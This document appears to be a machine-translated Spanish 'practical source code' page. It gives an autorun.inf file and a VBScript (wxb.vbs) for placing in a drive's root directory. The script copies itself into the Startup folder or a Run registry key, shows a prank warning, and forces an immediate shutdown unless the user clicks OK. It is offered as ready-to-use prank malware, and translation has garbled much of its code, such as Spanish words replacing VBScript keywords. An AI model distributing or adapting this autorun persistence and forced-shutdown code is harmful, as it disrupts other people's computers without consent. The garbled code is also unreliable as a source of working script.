Colección práctica de código fuente

El contenido es

[Autorun]

ShellExecute=wxb.vbs

Cree un nuevo archivo wxb.vbs.

El contenido es

Dim fs, dirwin, c, Wll, str, strr, r

Set fs = CreateObject("Script. Objeto del sistema de archivos" )

Establezca dirwin = fs. GetSpecialFolder(1)

Establecer Wll = WScript. CreateObject("WScript. Shell")

Sea c = fs. GetFile(WScript. Nombre completo del script)

str = "Hong Kong" & "LM\SOFT" & " WARE\Micr " & "osoft\Win". " dows \ Curren " amp" tVersion \ R " amp" un\wxb "

Si (el archivo fs. existe (dirwin amp " \wxb.vbs ")) entonces

llame Show_And_Do("reg ")

elseif (fs.file existe(" C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs ")) entonces

Llamar a Show_And_Do("Inicio")

Otros

Continuar con el siguiente paso si ocurre un error

strr= " "

Wll. RegWrite str, " C:\WINDOWS\system32\wxb.vbs ", " REG_SZ "

strr=Wll. return (cadena)

Si strr=" "entonces

c.copy(" C:\Documentos y configuraciones\Todos los usuarios\Menú Inicio\Programas\Inicio\wxb.VBS " )

Otros

c. Copiar (Dewen amp" \wxb.vbs ")

Terminará si...

Finalizará si...

Subpantalla y elementos de tareas pendientes

Dim f

R = MsgBox("Advertencia: estás utilizando el movimiento wavelet sin permiso Equipo! " ampChr(13)Chr(10) "Está bien -> La próxima vez le pediré permiso a Xiao Bo"; Chr(10) "Cancelar -> No me importa", 4145, "Ejemplo de MsgBox")

Si r = 1, entonces

Si s="start", entonces

Sea f = fs. GetFile(" C:\Documentos y configuraciones\Todos los usuarios\Menú Inicio\Programas\Inicio\wxb . VBS ")

f.delete()

elseif s="reg " Entonces

Wll. RegDelete string

Sea f = fs.

GetFile(dirwin amp; " \wxb.vbs ")

f.Delete()

Terminará si...

Otro

wll.run "Shutdown.exe -s -f -t 0 "

Terminará si...

Finalizar conector

Lo anterior dos archivos se colocan al mismo tiempo en el directorio raíz del disco (el disco también se puede mover). Cuando abre el disco, aparece un cuadro de diálogo solicitando selecciones. Puede cambiar la wavelet en el código por su propio nombre.